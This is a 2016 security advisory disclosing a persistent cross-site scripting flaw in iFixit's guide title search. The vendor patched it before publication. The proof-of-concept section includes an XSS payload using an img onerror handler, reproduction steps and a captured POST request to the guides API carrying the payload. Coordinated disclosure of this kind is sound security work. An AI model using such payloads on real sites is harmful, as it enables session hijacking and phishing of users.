ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability

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Document Title:
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ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1700

Video: http://www.vulnerability-lab.com/get_content.php?id=1699



Release Date:
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2016-02-17


Vulnerability Laboratory ID (VL-ID):
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1700


Common Vulnerability Scoring System:
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3.8


Product & Service Introduction:
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The free repair guide for everything, written by everyone. iFixit is a private company in San Luis Obispo, California. 
Founded in 2003 while the 
founders were attending Cal Poly, the company sells repair parts and publishes free wiki-like online repair guides for 
consumer electronics and gadgets on its web site.

(Copy of the Vendor Homepage: https://www.ifixit.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in 
the official ifixit online service web-application.


Vulnerability Disclosure Timeline:
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2015-12-25: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-12-26: Vendor Notification (iFixIt Security Team)
2015-12-29: Vendor Response/Feedback (iFixIt Security Team)
2016-02-01: Vendor Fix/Patch  (iFixIt Developer Team)
2016-02-15: Security Acknowledgements (iFixIt Security Team)
2016-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
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Published


Affected Product(s):
====================

Exploitation Technique:
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Remote


Severity Level:
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Medium


Technical Details & Description:
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A persistent cross site scripting web vulnerability has been discovered in the official ifixit online service 
web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
vulnerable modules context.

The vulnerability is located in the `title name` value of the `guides` and `prerequisite guides` search modules. Remote 
attackers with low privileged 
web-application user accounts are able to inject own malicious script codes to the application-side of the affected 
POST/GET method request. The attack 
vector of the vulnerability is located on the application-side and the request method to inject is POST. The execution 
of the inserted payload occurs 
in the search module were the `guides` and `prerequisite guides` becomes available with keyword.

The security risk of the filter bypass and persistent validation vulnerability is estimated as high with a cvss (common 
vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user 
accountand low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external 
redirects to malicious source and 
persistent manipulation of affected or connected application modules.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] `guides`
                                [+] `prerequisite guides`

Vulnerable Parameter(s):
                                [+] title name (Guide)

Affected Module(s):
                                [+] Search Guide


Proof of Concept (PoC):
=======================
The persistent cross site vulnerability can be exploited by remote attackers with low privileged web-application user 
account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the vulnerability ...
1. I create  Guide with title name as script code payload 
Note: Payload - Samir"><img src="c" onerror=alert(document.domain)>
2. Now the attacker needs to create new Guide page
3. After the adding procedure he clicks to  the details
4. In the List any prerequisite guides in the searching i write Samir and i get the title about the last Guide page
5. Samir"><img src="c" onerror=alert(document.domain)>  Now the code XSS executes via payload metatag
6. Successful reproduce of the persistent cross site scripting vulnerability!


PoC: Exploitcode
<div class="prereqBody">
<i class="fa fa-minus-circle delete"></i>
<span class="prereqName">Samir"><img src="c" onerror=alert(document.domain)></span>
</div>



--- PoC Session Logs [POST] ---
Status: 201[Created]
POST https://www.ifixit.com/api/2.0/guides 
Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Content Size[2192] Mime Type[application/json]
   Request Headers:
      Host[www.ifixit.com]
      User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/javascript, text/html, application/xml, text/xml, */*]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate, br]
      X-Requested-With[XMLHttpRequest]
      X-HTTP-Method-Override[POST]
      X-CSRF[5vq44aqiks]
      X-ALLOW-HTTP[true]
      Api-Client[iFixit-Web]
      Content-Type[application/x-www-form-urlencoded; charset=utf-8]
      Referer[https://www.ifixit.com/Guide/new]
      Content-Length[312]
      Cookie[_ga=
      Connection[keep-alive]
   Post Data:
      {"type":"replacement","category":"test","subject":"test","title":"Samir\"><img src=\"c\" 
onerror=alert(document.domain)> Replacement","summary":"test","introduction":"","flags":[],"image":null,"langid":"en"}]
   Response Headers:
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      x-content-type-options[nosniff]
      X-Max-Age[30m]
      Content-Type[application/json]
      Content-Length[2192]
      Accept-Ranges[bytes]
      Date[Mon, 01 Feb 2016 13:52:16 GMT]
      X-Varnish[166966529]
      Age[0]
      X-Debug-Deliver[True]
      X-Debug-Cache[MISS]


Reference(s):
https://www.ifixit.com/
https://www.ifixit.com/api/
https://www.ifixit.com/api/2.0/
https://www.ifixit.com/api/2.0/guides


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the ifixit.com online service web-application 
is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir () evolution-sec com)  
[http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


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